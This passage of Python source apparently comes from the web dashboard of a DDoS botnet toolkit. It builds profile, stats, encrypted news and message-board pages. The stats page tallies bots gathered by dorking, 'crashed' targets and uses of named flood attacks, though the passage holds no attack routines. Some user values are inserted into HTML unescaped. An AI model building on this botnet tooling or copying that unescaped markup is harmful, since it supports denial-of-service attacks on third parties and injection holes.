  230. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  231. def html_grid_profile_submit(self):
  232. return self.pages["/header"]+"""<script>
  233. window.setTimeout(window.close,1234)
  234. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  235. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  236. def profile_crew(self, icon):
  237. files = os.listdir("core/images/crew/")
  238. if icon == "NONE":
  239. icon = "link1"
  240. html_stream = ""
  241. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  242. for f in files:
  243. id = str(f.replace(".txt", ""))
  244. value = str(f.replace(".txt", ""))
  245. if icon == value:
  246. checked = " CHECKED"
  247. else:
  248. checked = ""
  249. crew_img = open("core/images/crew/"+value+".txt").read()
  250. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  251. html_stream += "</tr></table>"
  252. return html_stream
  253. def html_board_profile(self):
  254. try:
  255. with open(self.mothership_boardcfg_file) as data_file:
  256. data = json.load(data_file)
  257. except:
  258. if os.path.exists(self.mothership_boardcfg_file) == True:
  259. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  260. return
  261. else:
  262. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  263. with open(self.mothership_boardcfg_file, "w") as f:
  264. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  265. f.close()
  266. with open(self.mothership_boardcfg_file) as data_file:
  267. data = json.load(data_file)
  268. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  269. self.profile_icon = data["profile_icon"]
  270. self.profile_nick = data["profile_nick"]
  271. self.profile_nick.encode('utf-8')
  272. return self.pages["/header"] + """
  273. <script language="javascript">
  274. function BoardProfile() {
  275. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  276. }
  277. </script>
  278. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  279. <u>Configure profile:</u>
  280. <table cellpadding="2" cellspacing="2">
  281. <form method='GET'>
  282. <tr>
  283. <td> <u>OPERATOR/LINK:</u></td>
  284. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  285. </tr>
  286. <tr>
  287. <td> <u>NICKNAME:</u></td>
  288. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  289. </tr>
  290. </table>
  291. <hr>
  292. <input type="hidden" name="update" value="1">
  293. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  294. </form>
  295. """ + self.pages["/footer"]
  296. def html_grid_profile(self):
  297. try:
  298. with open(self.mothership_gridcfg_file) as data_file:
  299. data = json.load(data_file)
  300. except:
  301. if os.path.exists(self.mothership_gridcfg_file) == True:
  302. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  303. return
  304. else:
  305. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  306. with open(self.mothership_gridcfg_file, "w") as f:
  307. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  308. f.close()
  309. with open(self.mothership_gridcfg_file) as data_file:
  310. data = json.load(data_file)
  311. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  312. self.grid_contact = data["grid_contact"]
  313. self.grid_contact.encode('utf-8')
  314. self.grid_nick = data["grid_nick"]
  315. self.grid_nick.encode('utf-8')
  316. return self.pages["/header"] + """
  317. <script language="javascript">
  318. function GridProfile() {
  319. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  320. }
  321. </script>
  322. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  323. <u>Configure grid profile:</u><br>
  324. <table cellpadding="2" cellspacing="2">
  325. <form method='GET'>
  326. <tr>
  327. <td> <u>NICKNAME:</u></td>
  328. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  329. </tr>
  330. <tr>
  331. <td> <u>EMAIL/URL (CONTACT):</u></td>
  332. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  333. </tr>
  334. </table>
  335. <hr>
  336. <input type="hidden" name="update" value="1">
  337. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  338. </form>
  339. """ + self.pages["/footer"]
  340. def html_board_remove(self):
  341. try:
  342. with open(self.mothership_boardcfg_file, "w") as f:
  343. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  344. except:
  345. return
  346. return self.pages["/header"]+"""<script>
  347. window.setTimeout(window.close,1234)
  348. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  349. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  350. def html_grid_remove(self):
  351. try:
  352. with open(self.mothership_gridcfg_file, "w") as f:
  353. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  354. except:
  355. return
  356. return self.pages["/header"]+"""<script>
  357. window.setTimeout(window.close,1234)
  358. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  359. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  360. def html_stats(self):
  361. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp)
  362. if self.ranking == "Rookie": # Rookie
  363. your_ranking = "<font color='white'>Rookie [*]</font>"
  364. elif self.ranking == "Mercenary": # Mercenary
  365. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  366. elif self.ranking == "Bandit": # Bandit
  367. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  368. elif self.ranking == "UFOmmander!": # UFOmmander!
  369. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  370. elif self.ranking == "UFOl33t!": # UFOl33t!
  371. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  372. else:
  373. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  374. return self.pages["/header"] + """<script language="javascript">
  375. function Ranking() {
  376. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  377. }
  378. function Grid() {
  379. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  380. }
  381. function Board() {
  382. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  383. }
  384. function Links() {
  385. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  386. }
  387. function Streams() {
  388. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  389. }
  390. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  391. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  392. <center>
  393. <table cellpadding="5" cellspacing="5"><tr>
  394. <td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
  395. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  396. </tr></table>
  397. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  398. <table border="1" cellpadding="5" cellspacing="10">
  399. <tr>
  400. <td><b><u>Globalnet:</u></b></td></tr>
  401. <tr>
  402. <td>GLOBAL.RADAR (nodes):</td><td align='right'><font color='orange'><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></td>
  403. </tr>
  404. <tr>
  405. <td>SHIP.WARPS (nodes):</td><td align='right'><font color='orange'><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></td>
  406. </tr>
  407. </table>
  408. <br>
  409. <table border="1" cellpadding="5" cellspacing="10"><tr>
  410. <td><b><u>Missions:</u></b></td></tr>
  411. <tr>
  412. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  413. <tr>
  414. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  415. <tr>
  416. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  417. <tr>
  418. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  419. </table>
  420. </td><td>
  421. <br>
  422. <table border="1" cellpadding="5" cellspacing="10"><tr>
  423. <td><b><u>General:</u></b></td></tr>
  424. <tr>
  425. <td>Mothership ID:</td><td align='right'><font color='cyan'><b>""" + str(self.mothership_id) + """</b></font></td></tr>
  426. <td>Model:</td><td align='right'><font color='blue'>""" + str(self.mothership_model) + """</font></td></tr>
  427. <tr><td>Born:</td><td align='right'><font color='orange'>""" + str(time.ctime(os.path.getctime('ufonet'))) + """</font></td></tr>
  428. <tr><td>Ranking:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  429. <tr><td>Flying (times):</td><td align='right'><font color='red'><b>""" + str(self.aflying) + """</b></font></td></tr>
  430. </table>
  431. </td><td>
  432. <table border="1" cellpadding="5" cellspacing="10"><tr>
  433. <td><b><u>Botnet:</u></b></td></tr>
  434. <tr>
  435. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  436. <tr>
  437. <td>Scanner (new bots via dorking):</td>
  438. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  439. <tr>
  440. <td>Transferred (new bots via blackholes):</td>
  441. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  442. <tr>
  443. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  444. </table>
  445. <br>
  446. <table border="1" cellpadding="5" cellspacing="10"><tr>
  447. <td><b><u>Weapons (use):</u></b></td></tr>
  448. <tr>
  449. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  450. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  451. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  452. <tr>
  453. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  454. <td>FRAGGLE:</td><td align='right'><font color='cyan'>""" + str(self.afraggle) + """</font></td>
  455. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  456. <tr>
  457. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  458. <td>SNIPER:</td><td align='right'><font color='cyan'>""" + str(self.asniper) + """</font></td>
  459. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  460. <tr>
  461. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  462. <td>UFOACK:</td><td align='right'><font color='cyan'>""" + str(self.aufoack) + """</font></td>
  463. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  464. <tr>
  465. <td>UFORST:</td><td align='right'><font color='cyan'>""" + str(self.auforst) + """</font></td>
  466. <td>DROPER:</td><td align='right'><font color='cyan'>""" + str(self.adroper) + """</font></td>
  467. <td>OVERLAP:</td><td align='right'><font color='cyan'>""" + str(self.aoverlap) + """</font></td></tr>
  468. <tr>
  469. <td>PINGER:</td><td align='right'><font color='cyan'>""" + str(self.apinger) + """</font></td>
  470. <td>UFOUDP:</td><td align='right'><font color='cyan'>""" + str(self.aufoudp) + """</font></td>
  471. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td>
  472. </tr>
  473. </table>
  474. </td></tr></table>
  475. <br><hr>
  476. <div id="cmdOut"></div>
  477. """ + self.pages["/footer"]
  478. def hmac_sha1(self, key, msg):
  479. if len(key) > 20:
  480. key = sha1(key).digest()
  481. key += chr(0).encode('utf-8') * (20 - len(key))
  482. o_key_pad = key.translate(self.trans_5C)
  483. i_key_pad = key.translate(self.trans_36)
  484. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  485. def derive_keys(self, key):
  486. key = key.encode('utf-8')
  487. h = sha256()
  488. h.update(key)
  489. h.update('cipher'.encode('utf-8'))
  490. cipher_key = h.digest()
  491. h = sha256()
  492. h.update(key)
  493. h.update('mac'.encode('utf-8'))
  494. mac_key = h.digest()
  495. return (cipher_key, mac_key)
  496. def decrypt(self, key, text):
  497. KEY_SIZE = 32
  498. BLOCK_SIZE = 16
  499. MAC_SIZE = 20
  500. mode = AES.MODE_CFB
  501. try:
  502. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  503. except:
  504. try:
  505. padding = len(text) % 4
  506. if padding == 1:
  507. return ''
  508. elif padding == 2:
  509. text += b'=='
  510. elif padding == 3:
  511. text += b'='
  512. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  513. except TypeError:
  514. return None
  515. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  516. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  517. mac = iv_ciphertext_mac[-MAC_SIZE:]
  518. (cipher_key, mac_key) = self.derive_keys(key)
  519. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  520. if mac != expected_mac:
  521. return None
  522. aes = AES.new(cipher_key, mode, iv)
  523. self.decryptedtext = aes.decrypt(ciphertext)
  524. try:
  525. self.decryptedtext = self.decryptedtext.decode('utf-8')
  526. except:
  527. pass
  528. def encrypt(self, key, text):
  529. try:
  530. key = base64.b64encode(str(key))
  531. except:
  532. key = base64.b64encode(key.encode('utf-8'))
  533. c = Cipher(key, text)
  534. msg = c.encrypt()
  535. try:
  536. msg = msg.decode('utf-8')
  537. except:
  538. pass
  539. c.set_text(msg)
  540. self.encryptedtext = str(msg)
  541. def html_news(self):
  542. return self.pages["/header"] + """<script language="javascript">
  543. function Decrypt(){
  544. news_key=document.getElementById("news_key").value
  545. if(news_key == "") {
  546. window.alert("You need to enter a valid key (provided by someone)");
  547. return
  548. }else{
  549. params="news_key="+escape(news_key)
  550. runCommandX("cmd_decrypt",params)
  551. document.getElementById("nb1").style.display = "none";
  552. }
  553. }
  554. </script>
  555. <script language="javascript">
  556. function RefreshNews(){
  557. news_source=document.getElementById("news_source").value
  558. if(news_source == "") {
  559. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  560. return
  561. }else{
  562. params="news_source="+escape(news_source)
  563. runCommandX("cmd_refresh_news",params)
  564. document.getElementById("nb1").style.display = "none";
  565. setTimeout("location.reload()", 10000)
  566. }
  567. }
  568. </script>
  569. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  570. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  571. <br>
  572. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  573. <td>Blackhole/IP:</td>
  574. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  575. </tr></table></td><td><button title="Search for news on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  576. <hr>
  577. <table cellpadding="5" cellspacing="5"><tr>
  578. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  579. <table cellpading="5" cellspacing="10"><tr><td>
  580. <form method='GET'>
  581. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  582. </td></tr><tr><td>
  583. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  584. </form>
  585. </td></tr></table></td></tr></table>
  586. <hr><br>
  587. </center>
  588. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  589. <div id="cmdOut"></div>
  590. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  591. """ + self.pages["/footer"]
  592. def html_tv(self):
  593. return self.pages["/header"] + """<script language="javascript">
  594. function Decrypt_tv(){
  595. tv_deckey=document.getElementById("tv_deckey").value
  596. if(tv_deckey == "") {
  597. window.alert("You need to enter a valid key (provided by someone)");
  598. return
  599. }else{
  600. params="tv_deckey="+escape(tv_deckey)
  601. runCommandX("cmd_decrypt_tv",params)
  602. document.getElementById("nb1").style.display = "none";
  603. }
  604. }
  605. </script>
  606. <script language="javascript">
  607. function RefreshTv(){
  608. tv_source=document.getElementById("tv_source").value
  609. if(tv_source == "") {
  610. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  611. return
  612. }else{
  613. params="tv_source="+escape(tv_source)
  614. runCommandX("cmd_refresh_tv",params)
  615. document.getElementById("nb1").style.display = "none";
  616. setTimeout("location.reload()", 10000)
  617. }
  618. }
  619. </script>
  620. <script type="text/javascript">
  621. function PlayTV(url_tv){
  622. var player=document.getElementById('player');
  623. var tv_stream_source=document.getElementById('player');
  624. var tv_a=document.getElementById('tv_a');
  625. var tv_p=document.getElementById('tv_p');
  626. tv_stream_source.src=url_tv;
  627. tv_a.href=url_tv;
  628. tv_p.innerHTML=url_tv;
  629. player.load();
  630. player.play();
  631. }
  632. </script>
  633. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  634. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  635. <br>
  636. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  637. <td>Blackhole/IP:</td>
  638. <td><input type="text" name="tv_source" id="tv_source" size="20" value='"""+default_blackhole+"""'></td>
  639. </tr></table></td><td><button title="Search for videos on that blackhole..." onclick="RefreshTv()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search TV...</button></td></tr></table>
  640. <hr>
  641. <table cellpadding="5" cellspacing="5">
  642. <tr>
  643. <td><a href="javascript:alert('GrouNmnrrürr says: """ + self.ranking + """... Welcome to the Crypto-TV!...');"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td>
  644. <td>
  645. <table cellpading="5" cellspacing="10"><tr><td>
  646. <form method='GET'>
  647. Your key: <input type="text" name="tv_deckey" id="tv_deckey" size="20" value='"""+str(self.crypto_key)+"""'>
  648. </td></tr><tr><td>
  649. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_tv();>Try decryption!</a>
  650. </form>
  651. </td></tr></table>
  652. </td></tr></table>
  653. <br>
  654. <hr><br>
  655. Last update: <font color='"""+ self.tv_status_color + """'>"""+ self.tv_datetime + """</font><br><br>
  656. <div id="cmdOut"></div>
  657. <div id="nb1" style="display: block;">"""+self.tv_text+"""</div><br><br>
  658. """ + self.pages["/footer"]
  659. def html_missions(self):
  660. return self.pages["/header"] + """<script language="javascript">
  661. function Decrypt(){
  662. missions_key=document.getElementById("missions_key").value
  663. if(missions_key == "") {
  664. window.alert("You need to enter a valid key (provided by someone)");
  665. return
  666. }else{
  667. params="missions_key="+escape(missions_key)
  668. runCommandX("cmd_decrypt",params)
  669. document.getElementById("nb1").style.display = "none";
  670. }
  671. }
  672. </script>
  673. <script language="javascript">
  674. function RefreshMissions(){
  675. missions_source=document.getElementById("missions_source").value
  676. if(missions_source == "") {
  677. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  678. return
  679. }else{
  680. params="missions_source="+escape(missions_source)
  681. runCommandX("cmd_refresh_missions",params)
  682. document.getElementById("nb1").style.display = "none";
  683. setTimeout("location.reload()", 10000)
  684. }
  685. }
  686. </script>
  687. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  688. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  689. <br>
  690. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  691. <td>Blackhole/IP:</td>
  692. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  693. </tr></table></td><td><button title="Search for missions on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  694. <hr>
  695. <table cellpadding="5" cellspacing="5"><tr>
  696. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  697. <table cellpading="5" cellspacing="10"><tr><td>
  698. <form method='GET'>
  699. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  700. </td></tr><tr><td>
  701. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  702. </form>
  703. </td></tr></table></td></tr></table>
  704. <hr><br>
  705. </center>
  706. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  707. <div id="cmdOut"></div>
  708. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  709. """ + self.pages["/footer"]
  710. def html_board(self):
  711. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  712. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  713. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  714. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  715. device_state = "OFF"
  716. device = "BOARD device: <font color='red'>OFF</font><br>"
  717. else:
  718. device_state = "ON"
  719. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  720. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  721. data = json.load(boardcfg_json_file)
  722. boardcfg_json_file.close()
  723. profile_token = data["profile_token"]
  724. profile_icon = data["profile_icon"]
  725. profile_nick = data["profile_nick"]
  726. self.profile_nick.encode('utf-8')
  727. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  728. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  729. if device_state == "OFF":
  730. board_filter = ""
  731. else:
  732. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  733. if device_state == "OFF":
  734. sync_panel = ""
  735. else:
  736. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for posts on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  737. if device_state == "OFF":
  738. board_panel = ""
  739. else:
  740. with open(self.board_file) as f:
  741. for line in f:
  742. line = line.strip()
  743. self.board_warning += "\n" + " " + line + " " + "\n"
  744. f.close()
  745. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  746. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  747. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  748. if device_state == "OFF":
  749. remove_profile = ""
  750. else:
  751. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  752. return self.pages["/header"] + """<script language="javascript">
  753. function BoardProfile() {
  754. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  755. }
  756. function RemoveProfile() {
  757. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  758. }
  759. function Decrypt_board(){
  760. board_key=document.getElementById("board_key").value
  761. if (document.getElementById('filter_all').checked) {
  762. filter = document.getElementById('filter_all').value;
  763. }
  764. if (document.getElementById('filter_general').checked) {
  765. filter = document.getElementById('filter_general').value;
  766. }
  767. if (document.getElementById('filter_opsec').checked) {
  768. filter = document.getElementById('filter_opsec').value;
  769. }
  770. if (document.getElementById('filter_faq').checked) {
  771. filter = document.getElementById('filter_faq').value;
  772. }
  773. if (document.getElementById('filter_bugs').checked) {
  774. filter = document.getElementById('filter_bugs').value;
  775. }
  776. if (document.getElementById('filter_media').checked) {
  777. filter = document.getElementById('filter_media').value;
  778. }
  779. if(board_key == "") {
  780. window.alert("You need to enter a valid key (provided by someone)");
  781. return
  782. }else{
  783. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  784. runCommandX("cmd_decrypt_moderator_board",params)
  785. document.getElementById("nb1").style.display = "none";
  786. }
